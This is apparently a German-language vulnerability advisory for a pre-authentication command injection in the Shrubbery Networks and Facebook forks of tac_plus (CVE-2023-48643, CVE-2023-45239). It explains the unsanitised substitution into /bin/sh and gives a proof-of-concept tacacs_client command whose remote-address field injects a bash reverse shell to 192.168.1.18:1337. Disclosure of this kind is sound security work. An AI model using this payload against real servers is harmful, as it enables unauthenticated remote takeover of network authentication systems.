
tac_plus Pre-Auth-Schwachstelle zur Remote-Befehlsausführung (CVE-2023-45239 & CVE-2023-48643)
Dieses Repository enthält Informationen über eine Pre-Auth-Schwachstelle zur Remote-Codeausführung in verschiedenen Open-Source-Implementierungen von tac_plus. Die folgenden beiden Forks sind betroffen:
Beide Forks basieren jedoch auf einem Cisco-Entwicklungskit für TACACS+, das vor über 16 Jahren als Open Source veröffentlicht wurde. Die Sicherheitslücke existierte bereits im Entwicklungskit und wurde in beide Projekte übernommen. Es sei darauf hingewiesen, dass sich diese Forschung nur auf die beiden oben genannten Forks konzentrierte; möglicherweise sind auch weitere Forks betroffen.
Das folgende Diagramm zeigt die Beziehung zwischen den Forks; alle sind betroffen:
-----------------
| Cisco dev kit |
-----------------
↑
forked from
|
----------------------
| Shrubbery Networks |
| CVE-2023-48643 |
----------------------
↑
forked from
|
------------------
| Facebook |
| CVE-2023-45239 |
------------------
Es wurde keine offizielle Quelle für das Cisco-Entwicklungskit gefunden, und es wird nicht mehr gepflegt.
Das folgende Beispiel bezieht sich auf Code im facebook/tac_plus-Repository, da dieses auf GitHub verfügbar ist (das Cisco-Entwicklungskit und der Shrubbery-Networks-Fork sind lediglich Tarballs). Der betroffene Code ist jedoch in allen Projekten derselbe.
Wenn ein Paket ankommt, wird die Funktion start_session() aufgerufen, um den Typ des eingehenden Pakets zu bestimmen (Authentifizierung, Autorisierung oder Accounting). Wir konzentrieren uns auf Autorisierungspakete, die von author() → do_author() behandelt werden, welche dann pre_authorization() aufruft. Diese Funktion prüft, ob für den Benutzernamen im TACACS+-Paket ein before authorization-Befehl konfiguriert ist, und führt ihn über call_pre_process() aus. Die folgende Konfigurationsdatei (tac_plus.conf) zeigt einen Benutzer mit einem konfigurierten before authorization-Befehl:
accounting file = /tmp/tac_acc.log
user=DEFAULT {
before authorization "/usr/local/sbin/tac_policy -- '$user' '$name' '$address'"
service = exec {
default attribute = permit
}
}
Diese Funktion nimmt den in before authorization konfigurierten Befehl und substituiert Variablen (z. B. $user, $name oder $address) mit Werten aus dem eingehenden TACACS+-Paket. Dies geschieht jedoch ohne jegliche Eingabevalidierung oder Bereinigung.
Die resultierende Befehlszeichenfolge wird dann an my_popen() übergeben, das die Befehlszeichenfolge im folgenden execl()-Aufruf ausführt:
(void) execl("/bin/sh", "sh", "-c", cmd, (char *) NULL);
Dies ermöglicht die Einschleusung zusätzlicher Befehle über das Feld für die Remote-Adresse in TACACS+-Paketen (siehe rem_addr, rem_addr_len in RFC8907). Dasselbe funktioniert möglicherweise auch für andere Eingabefelder.
Es ist zu beachten, dass die Sicherheitslücke während des Authentifizierungsprozesses ausgelöst wird. Daher ist kein Passwort erforderlich, sondern nur ein Benutzername, der in der Konfiguration vorhanden ist!
Das Kompilieren und Ausführen von tac_plus mit dieser Konfiguration wird in den folgenden Abschnitten beschrieben:
Der folgende Befehl führt den tacacs_client gegen den Ziel-Daemon mit dem Benutzer DEFAULT aus. Der Payload, der die Sicherheitslücke auslöst, befindet sich im Feld für die Remote-Adresse, das über das Befehlszeilenargument --rem-addr gesetzt wird:
export TACACS_PLUS_KEY=[REDACTED] # only required for setups with a pre-shared keys
tacacs_client \
--host 192.168.1.100 \
--port 4949 \
--username DEFAULT \
--rem-addr "asd';bash -i >& /dev/tcp/192.168.1.18/1337 0>&1 #" \
authorize -c service=exec
Die Ausführung führt zu einer Reverse-Shell-Verbindung zu 192.168.1.18:1337. Der Benutzername muss einer der Benutzer sein, für den eine before authorization- oder after authorization-Direktive in tac_plus.cfg konfiguriert ist. Die nachgestellte Befehlsliste (-c service=exec) ist erforderlich, um den benötigten Codepfad zu erreichen, der Wert ist jedoch nicht von Bedeutung.
Das vom Client gesendete TACACS+-Paket ist im folgenden Screenshot in Wireshark zu sehen:

Der folgende Screenshot zeigt eine Debug-Sitzung unmittelbar bevor der injizierte Befehl ausgeführt wird:

Verschiedene Linux-Distributionen verwenden einen der beiden betroffenen Forks in ihren offiziellen Paketen (zumeist den Shrubbery-Networks-Fork). Die folgenden Tabellen zeigen Linux-Distributionen und BSD-Derivate, die zum Zeitpunkt der Erstellung dieses Textes entweder den Shrubbery-Networks- oder den Facebook-Fork verwenden. Die Liste ist nicht abschließend; andere Distributionen/Derivate sind höchstwahrscheinlich ebenfalls betroffen.
| Distribution | Paket | Fork |
|---|---|---|
| Fedora | tacacs | |
| Ubuntu | tacacs+ | Shrubbery Networks |
| OpenSUSE | tac_plus | Shrubbery Networks |
| Debian | tacacs+ | Shrubbery Networks |
| Arch Linux (AUR) | tacacs-plus | Shrubbery Networks |
| ... |
| Derivate | Port | Fork |
|---|---|---|
| FreeBSD | tacacs | Shrubbery Networks |
| NetBSD | tacacs | Shrubbery Networks |
| ... |
Beispiele zur Reproduktion dieses Problems sind in den folgenden Abschnitten verfügbar: